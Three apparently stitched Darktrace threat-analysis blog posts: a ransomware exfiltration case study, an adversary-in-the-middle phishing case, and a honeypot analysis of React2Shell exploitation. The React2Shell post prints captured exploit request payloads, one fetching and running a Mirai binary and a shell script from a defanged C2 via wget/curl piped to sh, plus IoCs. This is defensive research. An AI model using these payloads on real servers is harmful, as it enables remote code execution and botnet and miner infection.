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April 12, 2022

Efficient Incident Reporting: Darktrace AI Analyst

Discover how Darktrace's Cyber AI Analyst accelerates incident reporting to the US federal government, enhancing cybersecurity response times.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Fier
SVP, Red Team Operations
Written by
Sally Kenyon Grant
VP, Darktrace Federal
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12
Apr 2022

On March 15, 2022, President Biden signed the Cyber Incident Reporting for Critical Infrastructure Act into law, included as part of the Congressional Omnibus Appropriations bill. The law requires critical infrastructure owners and operators to quickly notify the Cyber and Infrastructure Security Agency (CISA) of ransomware payments and significant cyber-attacks.

The Cyber Incident Reporting for Critical Infrastructure Act creates two new reporting requirements:

  1. an obligation to report certain cyber incidents to DHS CISA within 72 hours
  2. an obligation to report ransomware payments within 24 hours

Supporting the new law, Darktrace AI accelerates the cyber incident reporting process. Specifically, Darktrace’s Cyber AI Analyst understands the connections among disparate security incidents with supervised machine learning and autonomously writes incident reports in human-readable language using natural language processing (NLP). These Darktrace incident reports allow human analysts to send reports to CISA quickly and efficiently.

In the below real-world attack case study, we demonstrate how Cyber AI Analyst facilitates seamless reporting for critical infrastructure organizations that fall victim to ransomware and malicious data exfiltration. The AI technology, trained on human analyst behavior, replicates investigations at machine speed and scale, surfacing relevant details in minutes and allowing security teams to understand what happened precisely and share this information with the relevant authorities.

The below threat investigation details a significant threat find on a step by step level in technical detail to demonstrate the power and speed of Cyber AI Analyst.

Cyber AI Analyst’s incident report

When ransomware struck this organization, Cyber AI Analyst was invaluable, autonomously investigating the full scope of the incident and generating a natural language summary that clearly showed the progression of the attack.

Figure 1: Cyber AI Analyst reveals the full scope of the attack

In the aftermath of this attack, Darktrace’s technology also offered analyst assistance in mapping out the timeline of the attack and identifying what files were compromised, helping the security team identify anomalous activity related to the ransomware attack.

Figure 2: Cyber AI Analyst showing the stages of the attack chain undergone by the compromised device

With Darktrace AI’s insights, the team easily identified the timeline of the attack, affected devices, credentials used, file shares accessed, files exfiltrated, and malicious endpoints contacted, enabling the customer to disclose the scale of the attack and notify necessary parties.

This example demonstrates how Cyber AI Analyst empowers critical infrastructure owners and operators to swiftly report major cyber-attacks to the federal government. Considering that 72 hours is the reporting period is for significant incidents — and 24 hours for ransomware payments — Cyber AI Analyst is no longer a nice-to-have but a must-have for critical infrastructure.

Attack breakdown: Ransomware and data exfiltration

Cyber AI Analyst delivered the most critical information in an easy-to-read report — with no human touch involved — as shown in the incident report above. We will now break down the attack further to demonstrate how Darktrace’s Self-Learning AI understood the unusual activity throughout the attack lifecycle.

In this double extortion ransomware, attackers exfiltrated data over 22 days. The detections made by Darktrace’s Self-Learning AI, and the parallel investigation by Cyber AI Analyst, were used to map the attack chain and identify how and what data had been exfiltrated and encrypted.

The attack consisted of three general groups of events:

  • Unencrypted FTP (File Transfer Protocol) data exfiltration to rare malicious external endpoint in Bulgaria (May 9 07:23:46 UTC – May 21 03:06:46 UTC)
  • Ransomware encryption of files in network file shares (May 25 01:00:27 UTC – May 30 07:09:53 UTC)
  • Encrypted SSH (Secure Shell) data exfiltration to rare malicious external endpoint (May 29 16:43:37 UTC – May 30 13:23:59 UTC)
Figure 3: Timeline of the attack alongside Darktrace model breaches

First, uploads of internal data to a rare external endpoint in Bulgaria were observed within the networks. The exfiltration was preceded by SMB reads of internal file shares before approximately 450GB of data was exfiltrated via FTP.

Darktrace’s AI identified this threatening activity on its own, and the organization was quickly able to pinpoint what data had been exfiltrated, including files camouflaged by markings such as ‘Talent Acquisition’ and ‘Engineering and Construction,’ and legal and financial documents — suggesting that these were documents of an extremely sensitive nature.

Figure 4: Screenshots showing two model breaches relating to external uploads over FTP
Figure 5: Screenshot showing SMB reads from a file share before FTP upload

Model breaches:

  • Anomalous Connection / Unusual Incoming Data Volume
  • Anomalous File / Internal / Additional Extension Appended to SMB File
  • Compromise / Ransomware / Suspicious SMB Activity
  • Compromise / Ransomware / SMB Reads then Writes with Additional Extensions
  • Unusual Activity / Anomalous SMB Move & Write
  • Unusual Activity / High Volume Server Data Transfer
  • Unusual Activity / Sustained Anomalous SMB Activity
  • Device / SMB Lateral Movement

Four days following this observed activity, Darktrace’s AI detected the deployment of ransomware when multiple compromised devices began making anomalous SMB connections to file shares that they do not typically access, reading and writing similar volumes to the SMB file shares, as well as writing additional extensions to files over SMB. The file extension comprised a random string of letters and was likely to be unique to this target.

Using Darktrace, the customer obtained a full list of files that had been encrypted. The list included apparent financial records in an ‘Accounts’ file share.

Figure 6: Model breach showing additional extension written to file during ransomware encryption

Model breaches:

  • Anomalous Connection / Unusual Incoming Data Volume
  • Anomalous File / Internal / Additional Extension Appended to SMB File
  • Compromise / Ransomware / Suspicious SMB Activity
  • Compromise / Ransomware / SMB Reads then Writes with Additional Extensions
  • Unusual Activity / Anomalous SMB Move & Write
  • Unusual Activity / High Volume Server Data Transfer
  • Unusual Activity / Sustained Anomalous SMB Activity
  • Device / SMB Lateral Movement

Simultaneously, uploads of internal data to a rare external endpoint were observed within the network. The uploads were all performed using encrypted SSH/SFTP. In total, approximately 3.5GB of data was exfiltrated this way.

Despite the attacker using an encrypted channel to exfiltrate this data, Darktrace detected anomalous SMB file transfers prior to the external upload, indicating which files were exfiltrated. Here, Darktrace’s ability to go ‘back in time’ proved invaluable in helping analysts determine which files had been exfiltrated, although they were exfiltrated via an encrypted means.

Figure 7: Model breaches showing anomalous SMB activity before upload over SSH

Model breaches:

  • Anomalous Server Activity / Outgoing from Server
  • Compliance / SSH to Rare External Destination
  • Unusual Activity / Enhanced Unusual External Data Transfer
  • Device / Anomalous SMB Followed By Multiple Model Breaches
  • Device / Large Number of Model Breaches
  • Anomalous Connection / Uncommon 1 GiB Outbound
  • Anomalous Connection / Data Sent to Rare Domain
  • Anomalous Connection / Data Sent To New External Device

How did the attack bypass the rest of the security stack?

Existing administrative credentials were used to escalate privileges within the network and perform malicious activity.

Had Darktrace Antigena been active, it would have actioned a targeted, autonomous response to contain the activity in its early stages. Antigena would have enforced the ‘pattern of life’ on the devices involved in anomalous SMB activity — containing activity such as reading from file shares that are not normally connected, appending extensions to files and blocking outgoing connections to rare external endpoints.

However, in this case, Antigena was not set up to take action – it was configured in Human Confirmation mode. The incident was clearly alerted on by Darktrace, and appeared as a top priority item in the security team’s workflow. However, the security team was not monitoring Darktrace’s user interface, and in the absence of any action taken by other tools, the attack was allowed to progress, and the organization was obligated to disclose the details of the incident.

Streamlining the reporting process

In the modern threat landscape, leaning on AI to stop fast-moving and sophisticated attacks at machine speed and scale is critical. As this attack shows, the technology also helps organizations fulfill reporting requirements in the aftermath of an attack.

New legislation requires timely disclosure; with many traditional approaches to security, organizations do not have the capacity to surface the full details after an attack. On top of this, collating these details can take days or weeks. This is why Darktrace is no longer a nice-to-have but a must-have for critical infrastructure organizations, which are now required to report significant incidents swiftly.

Darktrace’s AI detects malicious activity as it happens and empowers customers to quickly understand the timeline of a compromise, as well as files accessed and exfiltrated by an attacker. This not only prepares organizations to resist the most sophisticated attacks, but also accelerates and radically simplifies the process of reporting the data breach.

Security teams should not have to confront disclosure processes on their own. Attacks happen fast, and their aftermaths are messy – retrospective investigation of lost data can be a futile effort with traditional approaches. With Darktrace, security teams can meet disruptive and sudden attacks with precise and nimble means of uncovering data, as well as detection and mitigation of risk. And, should the need arise, rapid and accurate reporting of events is laid out on a silver platter by the AI.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Justin Fier
SVP, Red Team Operations
Written by
Sally Kenyon Grant
VP, Darktrace Federal

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December 15, 2025

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with DarktraceDefault blog imageDefault blog image

What is an Adversary-in-the-middle (AiTM) attack?

Adversary-in-the-Middle (AiTM) attacks are a sophisticated technique often paired with phishing campaigns to steal user credentials. Unlike traditional phishing, which multi-factor authentication (MFA) increasingly mitigates, AiTM attacks leverage reverse proxy servers to intercept authentication tokens and session cookies. This allows attackers to bypass MFA entirely and hijack active sessions, stealthily maintaining access without repeated logins.

This blog examines a real-world incident detected during a Darktrace customer trial, highlighting how Darktrace / EMAILTM and Darktrace / IDENTITYTM identified the emerging compromise in a customer’s email and software-as-a-service (SaaS) environment, tracked its progression, and could have intervened at critical moments to contain the threat had Darktrace’s Autonomous Response capability been enabled.

What does an AiTM attack look like?

Inbound phishing email

Attacks typically begin with a phishing email, often originating from the compromised account of a known contact like a vendor or business partner. These emails will often contain malicious links or attachments leading to fake login pages designed to spoof legitimate login platforms, like Microsoft 365, designed to harvest user credentials.

Proxy-based credential theft and session hijacking

When a user clicks on a malicious link, they are redirected through an attacker-controlled proxy that impersonates legitimate services.  This proxy forwards login requests to Microsoft, making the login page appear legitimate. After the user successfully completes MFA, the attacker captures credentials and session tokens, enabling full account takeover without the need for reauthentication.

Follow-on attacks

Once inside, attackers will typically establish persistence through the creation of email rules or registering OAuth applications. From there, they often act on their objectives, exfiltrating sensitive data and launching additional business email compromise (BEC) campaigns. These campaigns can include fraudulent payment requests to external contacts or internal phishing designed to compromise more accounts and enable lateral movement across the organization.

Darktrace’s detection of an AiTM attack

At the end of September 2025, Darktrace detected one such example of an AiTM attack on the network of a customer trialling Darktrace / EMAIL and Darktrace / IDENTITY.

In this instance, the first indicator of compromise observed by Darktrace was the creation of a malicious email rule on one of the customer’s Office 365 accounts, suggesting the account had likely already been compromised before Darktrace was deployed for the trial.

Darktrace / IDENTITY observed the account creating a new email rule with a randomly generated name, likely to hide its presence from the legitimate account owner. The rule marked all inbound emails as read and deleted them, while ignoring any existing mail rules on the account. This rule was likely intended to conceal any replies to malicious emails the attacker had sent from the legitimate account owner and to facilitate further phishing attempts.

Darktrace’s detection of the anomalous email rule creation.
Figure 1: Darktrace’s detection of the anomalous email rule creation.

Internal and external phishing

Following the creation of the email rule, Darktrace / EMAIL observed a surge of suspicious activity on the user’s account. The account sent emails with subject lines referencing payment information to over 9,000 different external recipients within just one hour. Darktrace also identified that these emails contained a link to an unusual Google Drive endpoint, embedded in the text “download order and invoice”.

Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Figure 2: Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.
Figure 3: Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.

As Darktrace / EMAIL flagged the message with the ‘Compromise Indicators’ tag (Figure 2), it would have been held automatically if the customer had enabled default Data Loss Prevention (DLP) Action Flows in their email environment, preventing any external phishing attempts.

Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.
Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.

Darktrace analysis revealed that, after clicking the malicious link in the email, recipients would be redirected to a convincing landing page that closely mimicked the customer’s legitimate branding, including authentic imagery and logos, where prompted to download with a PDF named “invoice”.

Figure 5: Download and login prompts presented to recipients after following the malicious email link, shown here in safe view.

After clicking the “Download” button, users would be prompted to enter their company credentials on a page that was likely a credential-harvesting tool, designed to steal corporate login details and enable further compromise of SaaS and email accounts.

Darktrace’s Response

In this case, Darktrace’s Autonomous Response was not fully enabled across the customer’s email or SaaS environments, allowing the compromise to progress,  as observed by Darktrace here.

Despite this, Darktrace / EMAIL’s successful detection of the malicious Google Drive link in the internal phishing emails prompted it to suggest ‘Lock Link’, as a recommended action for the customer’s security team to manually apply. This action would have automatically placed the malicious link behind a warning or screening page blocking users from visiting it.

Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.
Figure 6: Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.

Furthermore, if active in the customer’s SaaS environment, Darktrace would likely have been able to mitigate the threat even earlier, at the point of the first unusual activity: the creation of a new email rule. Mitigative actions would have included forcing the user to log out, terminating any active sessions, and disabling the account.

Conclusion

AiTM attacks represent a significant evolution in credential theft techniques, enabling attackers to bypass MFA and hijack active sessions through reverse proxy infrastructure. In the real-world case we explored, Darktrace’s AI-driven detection identified multiple stages of the attack, from anomalous email rule creation to suspicious internal email activity, demonstrating how Autonomous Response could have contained the threat before escalation.

MFA is a critical security measure, but it is no longer a silver bullet. Attackers are increasingly targeting session tokens rather than passwords, exploiting trusted SaaS environments and internal communications to remain undetected. Behavioral AI provides a vital layer of defense by spotting subtle anomalies that traditional tools often miss

Security teams must move beyond static defenses and embrace adaptive, AI-driven solutions that can detect and respond in real time. Regularly review SaaS configurations, enforce conditional access policies, and deploy technologies that understand “normal” behavior to stop attackers before they succeed.

Credit to David Ison (Cyber Analyst), Bertille Pierron (Solutions Engineer), Ryan Traill (Analyst Content Lead)

Appendices

Models

SaaS / Anomalous New Email Rule

Tactic – Technique – Sub-Technique  

Phishing - T1566

Adversary-in-the-Middle - T1557

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December 15, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within HoursDefault blog imageDefault blog image

What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, the spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

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About the author
Nathaniel Bill
Malware Research Engineer
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